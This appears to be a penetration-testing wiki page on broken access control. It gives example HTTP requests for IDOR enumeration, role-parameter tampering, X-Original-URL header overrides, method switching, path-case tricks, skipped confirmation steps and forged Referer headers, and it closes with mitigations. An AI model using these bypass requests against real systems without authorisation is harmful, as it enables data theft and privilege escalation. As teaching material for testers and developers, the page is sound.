Broken Access Control

It is a security vulnerability that occurs when an application fails to properly enforce restrictions on what authenticated and unauthenticated users are allowed to do, allowing them to act outside of their intended permissions, typically leading to unauthorized access, modification, or destruction of data and even privilege escalation.

Common types of Broken Access Control are:

  • Horizontal privilege escalation allows accessing resources belonging to another user with the same privilege level

  • Vertical privilege escalation, which gives access to higher-privileged actions or data

  • Missing function-level access control in server endpoints, which allows unauthorized invocation of sensitive operations

  • Insecure direct object references (IDOR), which allow manipulation of object identifiers

  • Forced browsing to access hidden or unlinked pages without proper access control

Scope

It is primarily server-side, because access control decisions are typically enforced on the backend, where resource permissions and business logic reside.

Proper authorization must be enforced server-side to be effective, as the client-side enforcements can be easily bypassed since attackers could craft custom requests directly to the server.

Exploitation Techniques

Broken Access Control exploitation could lead to horizontal or vertical privilege escalations, allowing access to resources from other users or protected endpoints

Abusing IDOR

Insecure Direct Object References could lead to guessing or manipulating object identifiers in requests to access unauthorized data. This could lead to obtaining information from other users or even accessing data for highly privileged users.

  • When the URL contains an enumeration of internal objects, we can assume the existence of other objects and try to get them

#It is searching for an object with id=2
http://$url/id/2
http://$url/id/$number # This could show other objects hidden from a specific user

  • Can also be done with known names or object identifiers, even if they are not predictable

http://$url/account?id=user1 # Can be changed to any other known username
http://$url/account?id=3gw14davnks # Can be changed to any other known identifier

Looking for Security Through Obscurity Attempts

Security Through Obscurity tries to hide secret information in objects or paths that don't seem to be visible, such as references directly in the source code, invisible or hidden buttons, among others.

  • We could check the source code for hardcoded values/routes that are intended to be hidden

<script>
	var isAdmin = false;
	if (isAdmin) {
		...
		var adminPanelTag = document.createElement('a');
		adminPanelTag.setAttribute('href', 'https://$url/admin-yb556');
		adminPanelTag.innerText = 'Admin panel';
		...
	}
</script>

Abusing Parameter-based Authorization

When controlling privileges or roles through a parameter under the URL, the request body, or headers, the values can be manipulated to gain higher privileges, leading to horizontal or vertical escalation

  • We can try changing the values to gain access to other roles or gain privileges

#On the URL
https://example.com/login/?admin=false # Change this to true

#On the request content
GET /login HTTP/1.1
Host: example.com
Cookie: session=$request; Admin=true
...

  • This can be tried even if a parameter isn't being sent with the request, but we have a hint about the characteristics of the user object.

Original Request
POST /login HTTP/1.1
Host: example.com

{
    "username": "user"
}
Modified Request
POST /login HTTP/1.1
Host: example.com

{
    "username": "user",
    "role": "admin"
}

Abusing Unprotected Functionalities

Applications can hide sensitive functionalities in the user interface for specific users or roles, but if it is not properly handled, it might be accessible by browsing directly to the URL of the functionality, independent of which user or role we have.

  • We can try accessing sensitive functionalities directly over standard routes

https://example.com/admin
https://example.com/administration
https://example.com/manage
https://example.com/admin

This could be complemented with fuzzing for endpoint discovery to find the sensitive functionalities

Abusing HTTP Method Misconfiguration

Some applications restrict access to specific URLs and HTTP methods based on the user's role, and if anything goes this can lead to access control bypasses if the application allows the URL to be overridden via a request header, even when a website uses rigorous front-end controls.

Some application frameworks support various non-standard HTTP headers that can be used to override the URL in the original request, such as X-Original-URL and X-Rewrite-URL.

  • We have a request to a protected route, and it returns a 403 error code

GET /admin HTTP/1.1
Host: example.com

  • We can bypass the access controls using a request with special headers

GET / HTTP/1.1
Host: example.com
X-Original-URL: /admin

  • Can be done even when the target URL receives parameters, putting them in our accessible point

GET /?username=user HTTP/1.1
Host: example.com
X-Original-URL: /admin/delete

  • We can also change the method to bypass the filters and try to send the expected parameters in the URL. For example, changing a POST request that blocks this method to unauthorized users to a GET request

Original Request
POST /admin-roles HTTP/1.1
Host: example.com

username=carlos&newRole=admin
Modified Request
GET /admin-roles?username=user&newRole=admin HTTP/1.1
Host: example.com

Abusing URL-matching Discrepancies

Websites can vary in how strictly they match the path of an incoming request to a defined endpoint, where they may treat differences in URL as different endpoints and fail to enforce the correct restrictions as a result.

  • We can try changing the capitalization of the route

https://example.com/admin/deleteUser # This endpoint is protected
https://example.com/admin/DELETEUSER # So we can try this
https://example.com/admin/DeLeTeUsEr # Or something like this

  • Some technologies allow paths with an arbitrary file extension to be mapped to an equivalent endpoint with no file extension, or even process seamlessly differences in routes

https://example.com/admin/deleteUser.anything # Ignores file extension
https://example.com/admin/deleteUser/ # Just adding an extra slash changes it

Abusing Multi-Step Processes

Many websites implement important functions over a series of steps, but rigorous access controls are implemented only over some of these steps, assuming that a user will only reach a further step if they have already completed the previous. We could skip steps and directly submit a request for further steps to bypass some access controls.

  • If we identify a request that performs an important action with controls, and then sends another confirmation request, we can try sending only the confirmation request with arbitrary values

First Request
POST /admin-roles HTTP/2
Host: example.com

username=user&action=admin
Confirmation Request
POST /admin-roles HTTP/2
Host: example.com

action=admin&confirmed=true&username=myUser

Abusing Referer-based Access Controls

Some websites handle access controls based on the Referer header submitted in an HTTP request, which is used to indicate which page initiated a request. If a site checks controls on a main endpoint but for sub-pages only inspects the Referer header, we could bypass the controls by forging direct requests, supplying the required Referer.

  • We get a 401 Unauthorized error in an action, but if we change the Referer header to a proper sensitive route, it could process the request as valid

Unauthorized Request
POST /admin-roles HTTP/2
Host: example.com

username=user&action=admin
Valid Request
POST /admin-roles HTTP/2
Host: example.com
Referer: https://example.com/admin

username=user&action=admin

Impact

  • Exposure of sensitive data (PII, financial records, proprietary information)

  • Unauthorized modification or deletion of data

  • Complete account takeover or privilege escalation to administrative roles

  • Service disruption through unauthorized operations

  • Regulatory non-compliance

Mitigation Strategies

  • Implement server-side authorization checks for every request, validating the user’s identity and permissions

  • Follow the Principle of Least Privilege (PoLP) to minimize access rights

  • Use role-based access control (RBAC) or attribute-based access control (ABAC) consistently across the application

  • Avoid relying solely on client-side checks or hidden UI elements for security

  • Ensure sensitive object identifiers are not predictable, using UUIDs instead of incremental IDs

  • Regularly test access controls with penetration testing and automated scanning

  • Keep access control rules centralized to avoid inconsistent enforcement

  • Taking a Defense-in-Depth approach to provide various security layers

  • Never rely on obfuscation alone for access control

  • Deny access by default, unless a resource is intended to be publicly accessible

Checklist for Developers and Sysadmins

PreviousWeb VulnerabilitiesNextInformation Disclosure

Last updated